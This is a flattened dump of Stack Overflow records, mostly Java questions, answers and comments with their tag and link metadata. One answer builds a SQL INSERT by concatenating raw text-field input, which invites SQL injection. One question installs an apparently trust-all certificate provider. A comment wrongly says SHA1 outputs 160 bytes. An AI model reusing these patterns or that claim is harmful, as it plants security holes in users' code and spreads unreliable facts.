imports cannot be resolved and the document from the for each loop cannot be found. In Tomcat a workaround is to put the files inside the $TOMCAT/bin directory but that is not a suitable solution for us. Is there any method to get this resources recursively out of the lib?
tagged with: resources

http://stackoverflow.com/q/22284822
score: 0
has comment: http://stackoverflow.com/comment/33854846
tagged with: regex
has comment: http://stackoverflow.com/comment/33855264
accepted answer: http://stackoverflow.com/a/22285069
type: AnsweredQuestion
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33854871
has comment: http://stackoverflow.com/comment/33855158
has body: I use Intellij IDEA for my Java projects. I want to upgrade my code from Java 6 to Java 7 style (I will not support Java 6 anymore). I want to start with "only" removing redundant typing operators. I know that Intellij shows it if there is a diamond operator but how can I get the list of them? i.e. List&lt;String&gt; myList = new ArrayList&lt;String&gt;(); will be: List&lt;String&gt; myList = new ArrayList&lt;&gt;(); PS: Something as like that may work: Not start with start character because it is a comment line, at least one character, and start with "&lt;" character and end with ">" that includes some characters inside, arbitrary characters, "=" character, nothing or whitespace character, start with "&lt;" character and end with ">" that includes some characters inside?
answer count: 1
has comment: http://stackoverflow.com/comment/33855233
has comment: http://stackoverflow.com/comment/33855081
has answer: http://stackoverflow.com/a/22285069
has title: How to Detect All Redundant Typing (Diamond Operators) With Regex?

http://stackoverflow.com/q/22274244
type: UnansweredQuestion
upvote count: 1
has title: Missing border for TableView columnHeader - JavaFX
score: 1
tagged with: java
tagged with: javafx
type: Question
tagged with: tableview
downvote count: 0
has body: I am trying to hide box-border for tableView. When I hide that border then border for left side of columnHeader is missing. Here is my css file: .table-row-cell:empty { -fx-background-color: lightyellow; } .table-row-cell:empty .table-cell { -fx-border-width: 0px; } .table-view{ -fx-focus-color: transparent; -fx-box-border: transparent } Here is image showing what I mean:
tagged with: css
favorite count: 0
answer count: 0

http://stackoverflow.com/q/22216661
has answer: http://stackoverflow.com/a/22217353
tagged with: regex
possible better answer: http://stackoverflow.com/a/22216742
answer count: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22216742
has body: i want to filter out srcport and dstport from the input string. here is the code i tried: String input = "2014&lt;&gt;10.100.2.3&lt;&gt;&lt;189&gt;date=2014-01-16,time=11:26:14,devname=B3909601569,devid=B3909601569,logid=000013,type=traffic,srcip=192.168.192.123,srcport=2072,srcintf=port2,dstip=10.180.1.105,dstport=3206,dstintf=port1,sessionid=121543,status=close,policyid=196,service=MYSQL,proto=6,duration=10,sentbyte=3910,rcvdbyte=175085,sentpkt=74,rcvdpkt=132"; Pattern p = Pattern.compile("(srcport=)(\\d+).[\\s]?(dstport=)(\\d+)"); Matcher m = p.matcher(input); StringBuffer result=new StringBuffer(); while (m.find()) { System.out.println("Srcport: " + m.group(2) + " &amp; "); System.out.println("Dstport: " + m.group(4)); } System.out.println(result); but its not showing any output. Is there a mistake in the regex Pattern p = Pattern.compile("(srcport=)(\\d+).[\\s]?(dstport=)(\\d+)"); or the println lines System.out.println("Srcport: " + m.group(2) + " &amp; "); System.out.println("Dstport: " + m.group(4));" any suggestions will be highly appreciated.
has comment: http://stackoverflow.com/comment/33731537
type: Question
has answer: http://stackoverflow.com/a/22216812
tagged with: java
has answer: http://stackoverflow.com/a/22216819
accepted answer: http://stackoverflow.com/a/22216819
score: 0
has comment: http://stackoverflow.com/comment/33731294
has title: how to filter out some substrings with regex effectively?

http://stackoverflow.com/q/22178763
has title: Android saving and loading 1D and 2D arrays of Strings and booleans
tagged with: android
tagged with: io
has answer: http://stackoverflow.com/a/22179209
accepted answer: http://stackoverflow.com/a/22179209
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/22179551
tagged with: java
has answer: http://stackoverflow.com/a/22179551
type: Question
has body: Ok, so I'm totaly confused after watching and reading several tutorials on saving and loading standard variables to/from internal storage. Basically, I couldn't find any useful references, which will tell me more about that. Because I have no experience with IOStream from Java, I'm looking for some tutorials that will explain everything what I need, so I will know what I'm doing, not just Copy+Paste code that works and noone cares why. Thanks for every advice. So to summarizes what I want - I have array of String and 2D array of boolean (String foo[500]; boolean bool[10][20]), and what I want to do is to save and load it to/from internal storage. Also, before this IO stream starts, I need to check out if files exists - if not, create them then.
score: 0
answer count: 2
tagged with: arrays

http://stackoverflow.com/a/22314049
accepted answer of: http://stackoverflow.com/q/22313551
answers question: http://stackoverflow.com/q/22313551
has comment: http://stackoverflow.com/comment/33908587
upvote count: 0
type: AcceptedAnswer
has body: this css resource issue please try below &lt;link rel="stylesheet" type="text/css" href="css/test.css" /&gt; and you can see this resource if be load by bowaser.
type: Answer
downvote count: 2
score: -2
has comment: http://stackoverflow.com/comment/33908624

http://stackoverflow.com/a/22318048
accepted answer of: http://stackoverflow.com/q/22317812
answers question: http://stackoverflow.com/q/22317812
has comment: http://stackoverflow.com/comment/33914483
type: AcceptedAnswer
score: 0
has comment: http://stackoverflow.com/comment/33914567
type: Answer
has body: The SSL connection only sends the client certificate if the server asks for it, and the certificate is only mandatory if the server so decides. You can't control any of that from the client end.

http://stackoverflow.com/a/22174843
has comment: http://stackoverflow.com/comment/33656051
has body: for(i=0;i&lt;=100;i++) does exactly 101 iterations since you start with 0 and end with 100 (not before 100!)
score: 0
answers question: http://stackoverflow.com/q/22174737
has comment: http://stackoverflow.com/comment/33656164
type: Answer

android-gridview
type: Tag
tags question: http://stackoverflow.com/q/22250920
tags question: http://stackoverflow.com/q/22253270
tag name: android-gridview

http://stackoverflow.com/a/22312244
type: Answer
answers question: http://stackoverflow.com/q/22311715
has body: Take a look at this page in the Jackson docs about how to add a custom serializer to an ObjectMapper instance. If you are using Spring XML, which might make calling arbitrary methods on an ObjectMapper hard, take a look at creating a Spring FactoryBean. Assuming you are using Spring MVC and you want to modify the ObjectMapper used by the MVC framework, you'll have to look at modifying the HttpMessageConverter used for Jackson.
score: 0

http://stackoverflow.com/comment/33777374
type: AnswerComment
comment on: http://stackoverflow.com/a/22241896
type: Comment
has text: After the description in each line are a series of pairs. I want to separate them and store all the first values of the pairs in one array (actually, a list since I don't know the size) and then all the second values into another array). Thanks for the answer btw.
score: 0

http://stackoverflow.com/a/22224184
has comment: http://stackoverflow.com/comment/33791060
has comment: http://stackoverflow.com/comment/33897370
type: Answer
has body: There isn't much more to know, other than that it's using Maps to store and retrieve all assets. Basically you have something like this: class AssetManager { private Map&lt;String, Object&gt; assets = new HashMap&lt;String, Object&gt;(); public void storeAsset(String key, Object asset) { assets.put(key, asset); } public &lt;T&gt; T getAsset(String key, Class&lt;T&gt; clazz) { return (T) assets.get(key); } public void freeAsset(String key) { assets.remove(key); } } That generic getter is optional, you could also do the casts yourself, but like this it's more convenient. Of course there is error handling and everything missing, but that's how a very very basic AssetManager might work.
accepted answer of: http://stackoverflow.com/q/22223909
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/33791100
answers question: http://stackoverflow.com/q/22223909
has comment: http://stackoverflow.com/comment/33791137
has comment: http://stackoverflow.com/comment/33791040
has comment: http://stackoverflow.com/comment/33783235
has comment: http://stackoverflow.com/comment/33898655
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33782302
has comment: http://stackoverflow.com/comment/33879033
has comment: http://stackoverflow.com/comment/33812244
has comment: http://stackoverflow.com/comment/33875176

http://stackoverflow.com/comment/34495803
has text: Thanks for the information @Petter. It put me on the right track. I don't use Spring right now so I won't be going that route, but it's nice to know.
type: Comment
comment on: http://stackoverflow.com/a/22231566
score: 0
type: AnswerComment

http://stackoverflow.com/q/22279338
tagged with: android
answer count: 0
tagged with: fonts
tagged with: java
type: Question
tagged with: libgdx
has comment: http://stackoverflow.com/comment/33905188
tagged with: freetype
score: 0
has comment: http://stackoverflow.com/comment/33847879
has body: The library 'gdx-freetype-natives.jar' contains native libraries that will not run on the device. [2014-03-09 01:54:37 - MyGame-android] The following libraries were found: [2014-03-09 01:54:37 - MyGame-android] - libgdx-freetype.so [2014-03-09 01:54:37 - MyGame-android] - libgdx-freetype64.so I've researched this problem, and tried to fix it. Many people have been told that removing the "gdx-freetype-natives.jar" from the android project library folder and from the exports list will help, but it isn't helping me. I've removed the native jar from the android folder and the export, yet the same thing keeps happening. Anybody have a solution?
has title: Persistent Error with LibGDX Freetype Font?
type: UnansweredQuestion

http://stackoverflow.com/a/22214617
score: 1
upvote count: 1
downvote count: 0
answers question: http://stackoverflow.com/q/22214457
has body: You also have to initialize the kbd variable as: kbd = new Scanner( System.in ); Please review your code using this suggestion and the others above.
type: Answer

http://stackoverflow.com/q/22205160
has body: how can I make class X extends class Y in a particular condition? like I have a Super class Person and have an attribute age, another class called Adult, class Adult extends Person if the age is between 12 and 20? If it is not possible, do you have alternatives?
has title: How can I extend a class in a particular condition?
answer count: 2
has comment: http://stackoverflow.com/comment/33710699
downvote count: 0
has answer: http://stackoverflow.com/a/22206138
has comment: http://stackoverflow.com/comment/33710908
favorite count: 0
tagged with: subclass
tagged with: superclass
type: AnsweredQuestion
score: 2
upvote count: 2
tagged with: java
accepted answer: http://stackoverflow.com/a/22206138
type: Question
tagged with: if-statement
possible better answer: http://stackoverflow.com/a/22216345
has answer: http://stackoverflow.com/a/22216345

http://stackoverflow.com/comment/93969707
type: AnswerComment
has text: getServerNamespace is your friend ;)
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22244561

http://stackoverflow.com/a/22201259
has comment: http://stackoverflow.com/comment/33703375
has body: For double constants, the language asks you to use the form -0.05d (with the "d" suffix). See this for reference Also make sure that the symbol intended to be a minus sign is a "hyphen" and not a "long em dash".
has comment: http://stackoverflow.com/comment/33703350
type: Answer
upvote count: 1
downvote count: 1
answers question: http://stackoverflow.com/q/22201159
score: 0

http://stackoverflow.com/a/22198114
score: 0
type: Answer
has body: Make it programatically into a relativelayout and then with layout params p.addRule(RelativeLayout.ALIGN_BOTTOM, view.getId());....
answers question: http://stackoverflow.com/q/22194821

http://stackoverflow.com/comment/33678283
has text: @peeskillet I'd argue that that is conceptually specific. Embedded resources are definitely easier to deploy and manager (generally) and absolute references should be discouraged, but there's nothing saying that having external resources is wrong, in some cases, it's actually a better solution - but it's all about context - just saying
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22186225
type: AnswerComment

http://stackoverflow.com/a/22325651
type: Answer
accepted answer of: http://stackoverflow.com/q/22324091
has comment: http://stackoverflow.com/comment/119700363
answers question: http://stackoverflow.com/q/22324091
upvote count: 33
score: 33
type: AcceptedAnswer
downvote count: 0
has body: The interface does not belong to "Java", meaning that the interface is not a part of the core libraries. It is a part of the javax.ws.rs hierarchy which is part of the JAX-RS specification. It is used by frameworks implementing the specification such as Jersey. It is used whenever maps should refer to not only a single value but to any number of values. An example for the use would be for example the storage of a request header where you one might want to add several values per key. Or even no keys in some cases where it is easier to handle an empty list compared to a null value. Take this HTTP-header for example: Accept-Encoding: compress;q=0.5, gzip;q=1.0 You would model this by MultivaluedMap&lt;String, String&gt; map = ... map.add("Accept-Encoding", "compress;q=0.5"); map.add("Accept-Encoding", "gzip;q=1.0"); internally in Jersey. This type of multiple value storage is a common problem in Java that is addressed by other implementors of maps such as Guava. This is basically what the javadoc says: A map of key-values pairs. Each key can have zero or more values.

http://stackoverflow.com/q/22229687
accepted answer: http://stackoverflow.com/a/22240675
type: Question
tagged with: ssh
tagged with: spring
tagged with: java
score: 0
has answer: http://stackoverflow.com/a/22240675
answer count: 1
has title: Camel SSH multiple session not getting closed after execution
tagged with: apache-camel
has body: we have camel route that is having an SSH endpoint and the context containing these routes keep running for a day,before being stopped for next day's run. Now, we are observing that all these SSH connections that were created are getting closed only when our services is brought down. We make atleast 4 ssh connections in an hour to the same server, so approximately about 96 connections are kept open at the remote server and this is causing issues at the server. Is there a way to specify to close/terminate the SSH session immediately after execution? (in camel spring xml configurations)
type: AnsweredQuestion

http://stackoverflow.com/comment/33892396
type: AnswerComment
has text: You could get around that by searching for one match at a time in a loop, rather than searching for all matches with one method call. Alternately, you could put a group in the first regex (put parenthesis around "[^ ]{1,21474836}"), and use its length to determine where the end position is.
comment on: http://stackoverflow.com/a/22305473
type: Comment
score: 0

http://stackoverflow.com/comment/33776767
type: Comment
has text: Hashes turn an arbitrary set of input bytes into a fixed length string, so `SHA1(new byte[1])` produces the same amount of output as `SHA1(new byte[129000])`. You will always get 160 bytes out no matter what the input is.
comment on: http://stackoverflow.com/a/22215740
type: AnswerComment
score: 0

http://stackoverflow.com/q/22199890
has title: Jax-RS Produce image from byte[]
has answer: http://stackoverflow.com/a/22200477
tagged with: java
tagged with: http://stackoverflow.com/tag/json
type: Question
score: 0
answer count: 1
tagged with: jax-rs
has body: I am trying to display image when user hits url http://localhost:8080/app/profile/getImage/5315d33284aec8c202eef15a It should display image of id 5315d33284aec8c202eef15a. My service is @GET @Path("/getImage/{id}") @Produces({"image/*"}) public Response getImage(@PathParam("id") final String id) { ResponseBuilder builder = Response.status(Status.INTERNAL_SERVER_ERROR); try { final byte[] imageBytes = getImageBytes(id); System.out.println("image length "+imageBytes.length); builder.status(Status.OK).entity(new StreamingOutput(){ @Override public void write(OutputStream output) throws IOException, WebApplicationException { output.write(imageBytes); output.flush(); } }); } catch (Exception e) { System.out.println("exception "+e); } return builder.build(); } But it doesn't produces image.System.out.println("image length "+imageBytes.length); gives output=> image length 72240 Where I am missing?
type: UnansweredQuestion

http://stackoverflow.com/comment/33873592
comment on: http://stackoverflow.com/q/22295216
score: 0
has text: Ctrl+Z is a bad idea, because on Unix systems it's already used to suspend the program: https://en.wikipedia.org/wiki/Control-Z
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22179236
has comment: http://stackoverflow.com/comment/33664114
has comment: http://stackoverflow.com/comment/33664388
has comment: http://stackoverflow.com/comment/33664807
score: 0
has answer: http://stackoverflow.com/a/22179732
tagged with: mainwindow
has answer: http://stackoverflow.com/a/22180369
tagged with: jframe
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/299495
tagged with: java
has title: Simple Java game - small issues
tagged with: image
type: Question
has comment: http://stackoverflow.com/comment/33664424
answer count: 2
has body: I've made a few of simple Java applications last year [I am an engineering student and I have fallen in love with Java through a subject last term] - I learned a lot about classes, objects, listeners and various other stuff. The problem is that I had to use unusual libraries (I think they were optimalized to shorten some long parts of code and just to let us focus on the object-oriented fundamentals) - here is link: http://useobjects.net/ (never seen these anywhere else). Now I am trying to create a simple game in Java, (card game, say something like Solitaire) WITHOUT using these libraries - only with swing and another generally-known "core" Java libraries - and I am experiencing various (usually little) issues with mostly "everyday" simple tasks. First problem - how to add an image from file into Java? Say, I have class Card, that can be shown or reverted, and I need to use 2 images (one for back and one for front); and I couldnt find any tutorial explaining the whole process with BufferedImage, View, Image,... and so on. (for comparison, in the libraries mentioned above, it was just something like this: ImageView cardBack = new ImageView(positionX, positionY, height, width, filepath, angle etc.); and the image was added and the task was completed. Second problem is about main app window. In our old library, it was just something like this in main class: MainWindow mainWindow = new MainWindow(title,height,width); GroupView mainGroup = mainWindow.getRootGroup(); But when I tried to find out anything about creating a window, I found only JFrame-solution and I would like to ask you for a simple implementation example, and maybe how to solve classes at all (if should I create a "Main" class where will be JFrame just an element, or to make something like MainWindow class and create JFrame within this class, and create an instance of this class in Main, or ... simply, I am afraid, that my Java coding knowledge and XP is not fully compatible with conventions, so I ask fo…
tagged with: imageview
linked to: http://stackoverflow.com/q/22003802

http://stackoverflow.com/a/22242571
type: Answer
has comment: http://stackoverflow.com/comment/35489037
downvote count: 0
score: 1
has body: The linked article has some nice concepts but as you say it is a little short on details. It looks like the main thing you need to know is how to tell Eclipse to deploy to a different Application Id. If that is so, first browse to https://appengine.google.com/ and create a new application there. Keep a note of its Id. Make sure Eclipse is also logged in with your Google account. Then right click on your project name, and select Properties right at the end of the context menu. Expand the Google tab in the project properties dialog, then click on App Engine. In the Deployment section you can change the Application Id to match your new Application. I have tried to illustrate it with the example 'my-application-id-here' in the following screenshot.
upvote count: 1
has comment: http://stackoverflow.com/comment/35489069
answers question: http://stackoverflow.com/q/22236638

http://stackoverflow.com/comment/33816666
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22240116
has text: after posting this question I began to think it could have something related to the measurements as you referred, since the RelativeLayout ignores some things, e.g layout_weight. I tried your ideas, but no luck either :( Foreground, padding or view inside the FrameLayout. Am I missing something? I used to do layouts based on LinearLayouts, but acording to Android's best practices it's bad, so I decided to try with a RelativeLayout as they say. But I guess I'll be going to the LinearLayouts if nothing works :S

http://stackoverflow.com/a/22323460
score: 0
has comment: http://stackoverflow.com/comment/33925491
has comment: http://stackoverflow.com/comment/33923807
has comment: http://stackoverflow.com/comment/33924263
answers question: http://stackoverflow.com/q/22323364
type: Answer
has comment: http://stackoverflow.com/comment/33924643
has comment: http://stackoverflow.com/comment/33924756
has body: INSERT INTO carz VALUES('"+jTextField2.getText()+"',"+jTextField1.getText()+",'"+jComboBox1.getSelectedItem()+"',"+jTextField3.getText()+")"); In the above insert query you are not enclosing varchars with ' change it to like this INSERT INTO carz VALUES('"+jTextField2.getText()+"','"+jTextField1.getText()+"','"+jComboBox1.getSelectedItem()+"','"+jTextField3.getText()+"')");

http://stackoverflow.com/a/22177670
answers question: http://stackoverflow.com/q/22176813
has body: I am not sure I understand what your algorithm is about, but my general advice is to not print when you make the recursive call. instead you could try to work around like this: if (level &lt; 10) { for (int i = 0; i &lt; iArray.length; i++) { if (signal.equals(iArray[i])) { if (!path.contains(oArray[i])) { recPathAnalysis(oArray[i], level + 1 , path + " " + oArray[i]); } else { System.out.println("loop &gt;&gt; " + path + " " + oArray[i]); } } else { // stop condition System.out.println("normal &gt;&gt; " + path + " " + oArray[i - 1]); } } } else { // stop condition System.out.println("normal &gt;&gt; " + path + " " + oArray[i - 1]); } And do the same for the other stopping conditions.
has comment: http://stackoverflow.com/comment/33661564
score: 0
type: Answer

http://stackoverflow.com/q/22322362
tagged with: iplanet
has comment: http://stackoverflow.com/comment/33926192
has answer: http://stackoverflow.com/a/22374021
accepted answer: http://stackoverflow.com/a/22374021
has comment: http://stackoverflow.com/comment/33922164
has comment: http://stackoverflow.com/comment/33921635
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/33921865
tagged with: java
has body: I'm new in applet/servlet development, and I'm facing a problem that I haven't found a fix for. Environment is the following: OS: Solaris 5.10 AS: iPlanet6 sp8 JRE: j2re1.4.2_04 jsse.jar is included in servlet classpath. My servlet must connect to a ldap server via ldaps; my ldap class looks as follows public class MyLdapClass { private static final String INITCTX = "com.sun.jndi.ldap.LdapCtxFactory"; public MyLdapClass(String _strHost, int _iPort, String _strLogin, String _strPassword, String _strBaseDN) { ... environ.put(Context.INITIAL_CONTEXT_FACTORY, INITCTX); environ.put(Context.SECURITY_PRINCIPAL, _strLogin); environ.put(Context.SECURITY_CREDENTIALS, _strPassword); String strUrl = "ldap://" + _strHost + ":" + _iPort; XTrustProvider.install(); environ.put(Context.SECURITY_PROTOCOL, "ssl"); environ.put(Context.PROVIDER_URL, strUrl); environ.put(Context.SECURITY_AUTHENTICATION, "simple"); environ.put("com.sun.jndi.ldap.read.timeout", "5000"); } private void connect() throws NamingException { try { this.context = new InitialLdapContext(this.environ, null); } catch (NamingException ne) { throw ne; } } private void _disconnect() throws NamingException { try { this.context.close(); } catch (NamingException ne) { throw ne; } } } My servlet (portion of code that is related to my problem) looks as follows: public class MyServlet extends HttpServlet { MyLdapClass ldap; public void init(ServletConfig paramServletConfig) throws ServletException { ldap = new MyLdapClass("ipaddress", port, "login", "pwd", "baseDN"); } public void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException { try { ldap.connect(); } catch (NamingException ne) { throw ne; } ... } } When I post a request from applet to the servlet, an exception is thrown that looks like the following one: javax.naming.CommunicationException: _ip:port_ [**Root exception is java.lang.ClassNotFoundException: javax/net/ssl/SSLSocketFactory**] at com.sun.j…
has title: ClassNotFoundException thrown in servlet doPost method
tagged with: servlets
type: Question
answer count: 1
has comment: http://stackoverflow.com/comment/33921854
score: 0
has comment: http://stackoverflow.com/comment/33922179
tagged with: classnotfoundexception

http://stackoverflow.com/q/22180807
tagged with: itext
type: Question
accepted answer: http://stackoverflow.com/a/22183453
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/22183453
tagged with: digital-signature
has title: Sign repeatedly PDF
has body: I need to know how to do in java to sign PDF documents several times without prior signature remains invalid, thats my code: CallbackHandler cmdLineHdlr = new DialogCallbackHandler(); Callback[] callbacks = new Callback[]{new PasswordCallback("Contraseña: ", false)}; cmdLineHdlr.handle(callbacks); String password = new String(((PasswordCallback) callbacks[0]).getPassword()); KeyStore ks = null; try { ks = KeyStore.getInstance("PKCS11"); ks.load(null, password.toCharArray()); } catch (Exception e) { JOptionPane.showMessageDialog(null, "Digite una contraseña correcta", "Error", JOptionPane.ERROR_MESSAGE); return "InvalidPass"; } Enumeration aliasesEnum = ks.aliases(); PrivateKey key = null; X509Certificate cert; String aliass = null; while (aliasesEnum.hasMoreElements()) { aliass = (String) aliasesEnum.nextElement(); cert = (X509Certificate) ks.getCertificate(aliass); if (cert.getSubjectDN().getName().indexOf("(FIRMA)") &gt; 0) { key = (PrivateKey) ks.getKey(aliass, null); break; } } //Se carga el PDF original Ahora desde la web! URL sisdoc = new URL(host + servletIN + fullpar); //Se conecta al servlet que recibe el documento URLConnection yc = sisdoc.openConnection(); //Se carga el pdf PdfReader pdf = new PdfReader(yc.getInputStream()); URL sisdocRet = new URL(host + servletOUT + fullpar); //Se conecta al servlet que enviar el documento firmado //URLConnection respuesta = sisdocRet.openConnection(); HttpURLConnection httpcon = (HttpURLConnection) sisdocRet.openConnection(); httpcon.addRequestProperty("User-Agent", "Mozilla/4.76"); httpcon.setRequestProperty("Content-Type", "application/pdf"); httpcon.setDoOutput(true); httpcon.setDoInput(true); httpcon.setUseCaches(false); OutputStream oe = httpcon.getOutputStream(); PdfStamper stp = PdfStamper.createSignature(pdf, oe, '\0'); PdfSignatureAppearance sap = stp.getSignatureAppearance(); sap.setReason("Validez de firma"); sap.setLocation("Costa Rica"); sap.setVisibleSignature(new com.itextpdf.text.Rectangle(0, 0, 80, 80)…
type: AnsweredQuestion
tagged with: java

http://stackoverflow.com/a/22236167
upvote count: 1
answers question: http://stackoverflow.com/q/22235451
downvote count: 0
has body: Ok then.. May be in here you could find some relief. Just for example.. or you can go to source solution for more help public static void main ( String[] args ) { JFrame paint = new JFrame (); paint.add ( new JComponent () { private List&lt;Shape&gt; shapes = new ArrayList&lt;Shape&gt; (); private Shape currentShape = null; { MouseAdapter mouseAdapter = new MouseAdapter () { public void mousePressed ( MouseEvent e ) { currentShape = new Line2D.Double ( e.getPoint (), e.getPoint () ); shapes.add ( currentShape ); repaint (); } public void mouseDragged ( MouseEvent e ) { Line2D shape = ( Line2D ) currentShape; shape.setLine ( shape.getP1 (), e.getPoint () ); repaint (); } public void mouseReleased ( MouseEvent e ) { currentShape = null; repaint (); } }; addMouseListener ( mouseAdapter ); addMouseMotionListener ( mouseAdapter ); } protected void paintComponent ( Graphics g ) { Graphics2D g2d = ( Graphics2D ) g; g2d.setPaint ( Color.BLACK ); for ( Shape shape : shapes ) { g2d.draw ( shape ); } } } ); paint.setSize ( 500, 500 ); paint.setLocationRelativeTo ( null ); paint.setVisible ( true ); }
type: Answer
score: 1

http://stackoverflow.com/q/22314669
type: Question
score: 9
answer count: 2
has comment: http://stackoverflow.com/comment/33910317
favorite count: 0
tagged with: xjc
tagged with: jaxb2-annotate-plugin
has comment: http://stackoverflow.com/comment/33909504
has comment: http://stackoverflow.com/comment/33909807
has title: Suppress compiler warnings on JAXB generated classes
has body: This is possibly a duplicate of this question (Avoiding Compiler warnings on code generated by xjc) but since I am not very well versed in XJC/JAXB custom bindings idiosyncrasies, I'll presume I may have misunderstood the mentioned question. My question seems simple enough - how can I add @SuppressWarnings("all") annotation to generated JAXB class? We have 0 warning policy on our project and after JAXB generation step, we end up with 350+ warnings which are just terrible noise. I would expect either a simple flag on the XJC or at least an easy way to provide such info but I cannot find any. From what I've seen in my travels, people do one of these things: @lexicore's JAXB2 Annotate Plugin which, according to examples, seems to do the job but to add a whole framework and hundreds of kB of code just to add simple annotation to a bunch of classes? Really??, Custom JAXB bindings (I may be mistaken but this seems very arcane and I am not fully sure if it were event possible to do it this way), Custom ANT target which will do a search-and-replace post-JAXB generation, Eclipse 4+ seems to have an option to filter out warnings on selected projects but for various historical/legacy reasons we're stuck on Eclipse 3.7.2 (Indigo), Custom XJC plugin which would do the annotation insertion (as suggested by one of the commenters, see here), Placing all of the generated classes in a JAR, making the JAR a dependency of the project and then removing generated code altogether. Formerly, we dealt with this by shoving the XML-related code in a separate Eclipse project and then disabling the warnings/errors on the project. Now, as part of code consolidation/refactoring, we've reshuffled things around and no longer have that luxury. Is there really no elegant solution for such a seemingly trivial problem? Any feedback/thoughts are greatly appreciated. FWIW, our project uses Ant as build system.
upvote count: 9
possible better answer: http://stackoverflow.com/a/26801267
tagged with: annox
downvote count: 0
has answer: http://stackoverflow.com/a/26801267
has answer: http://stackoverflow.com/a/26799129
accepted answer: http://stackoverflow.com/a/26799129
has comment: http://stackoverflow.com/comment/38519263
type: AnsweredQuestion
tagged with: java
tagged with: jaxb
has comment: http://stackoverflow.com/comment/42330143
linked to: http://stackoverflow.com/q/19917257

http://stackoverflow.com/q/22212508
score: 1
favorite count: 0
has title: How to implement listener interface in fragment?
type: Question
possible better answer: http://stackoverflow.com/a/22215517
answer count: 2
tagged with: android
has answer: http://stackoverflow.com/a/22215517
tagged with: android-fragments
tagged with: java
has answer: http://stackoverflow.com/a/22230713
upvote count: 1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22230713
downvote count: 0
has body: I am trying to communicate between an activity and the fragment that sits on top of it, I want new data (image/text - retrieved from the db) to be passed into the frag every time an onclick occurs (onclick is in the activity). I made a simple interface to test (let me know if this is not suitable for images or if it is too slow or inefficient), and I am trying to have it included in my fragment so when an onclick occurs the fragment changes the image and the text. Here is the simple interface code: public interface FragmentCommunicator { public void passDataToFragment(String someValue); } Here is the activity code: public class RandomActivity extends FragmentActivity implements ActivityCommunicator { //viewpager adapter private PageAdapter mAdapter; private ViewPager viewPager; //interface through which communication is made to fragment public FragmentCommunicator fragmentCommunicator; //Buttons for yes, no, skip Button btnYesRandom, btnNoRandom, btnSkipRandom; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_random); //set buttons btnYesRandom = (Button) findViewById(R.id.btnYesRandom); // Initializing pager viewPager = (ViewPager) findViewById(R.id.random_pager); //calling bundle to attach data to fragment Bundle bundle = new Bundle(); bundle.putString("edttext", "From Activity"); // set Fragmentclass Arguments RandomFragment randFrag = new RandomFragment(); randFrag.setArguments(bundle); //Setting up fragment FragmentManager fm = getFragmentManager(); mAdapter = new PageAdapter(getSupportFragmentManager(), new UserUpVotesFragment(), randFrag, new UserDownVotesFragment()); viewPager.setAdapter(mAdapter); // Here you would declare which page to visit on creation viewPager.setCurrentItem(1); viewPager.setOnPageChangeListener(new ViewPager.OnPageChangeListener() { public void onPageScrollStateChanged(int state) {} public void onPageScrolled(int position, float positionOffset, int posit…

http://stackoverflow.com/comment/33809420
type: QuestionComment
has text: does this happen with every gif you try to read or only with specific gifs
score: 0
comment on: http://stackoverflow.com/q/22259714
type: Comment

http://stackoverflow.com/q/22268403
has comment: http://stackoverflow.com/comment/33825140
tagged with: arrays
has comment: http://stackoverflow.com/comment/33825201
score: 0
has body: I am creating a Java app project that something similar to the one I post below Has a single frame with a label. A Mastercardpanel just below the label. An array of panels to be embedded onto the Mastercardpanel Code snippet CardLayout card=new CardLayout(500,500); JPanel mastercardpanel=new JPanel(); JPanel[] cardpanel; cardpanel = new JPanel[50]; mastercardpanel.setLayout(card); Also for each of the card panel's I would use group layout to add some Swing elements. Code snippet for(t=0;t&lt;50;t++) { javax.swing.GroupLayout layout = new javax.swing.GroupLayout(cardpanel[t]); cardpanel[t].setLayout(layout); . . . My problem is that GroupLayout would only accept cardpanel as a non-null value. Please suggest how to go about it.
has answer: http://stackoverflow.com/a/22268452
answer count: 1
has title: continer cannot contain non null values for an array of panels
type: UnansweredQuestion
tagged with: swing
has comment: http://stackoverflow.com/comment/33825173
tagged with: java
tagged with: jpanel
tagged with: grouplayout
type: Question

http://stackoverflow.com/comment/33664889
type: QuestionComment
comment on: http://stackoverflow.com/q/22179605
score: 0
has text: Why would you want to save .properties there?
type: Comment

http://stackoverflow.com/q/22236162
downvote count: 0
has comment: http://stackoverflow.com/comment/34441754
favorite count: 0
upvote count: 5
tagged with: android
type: UnansweredQuestion
tagged with: java
type: Question
score: 5
has answer: http://stackoverflow.com/a/22236306
tagged with: eclipse
has body: when I create a new android project Eclipse creates my MainActivity with extends ActionBarActivity instead activity. And want know how change this to when Eclipse creates my MainActivity extends activity. thanks for you help!!!!
has title: eclipse creates extends ActionBarActivity instead activity
answer count: 1

http://stackoverflow.com/q/22235849
score: 0
answer count: 1
has comment: http://stackoverflow.com/comment/33766376
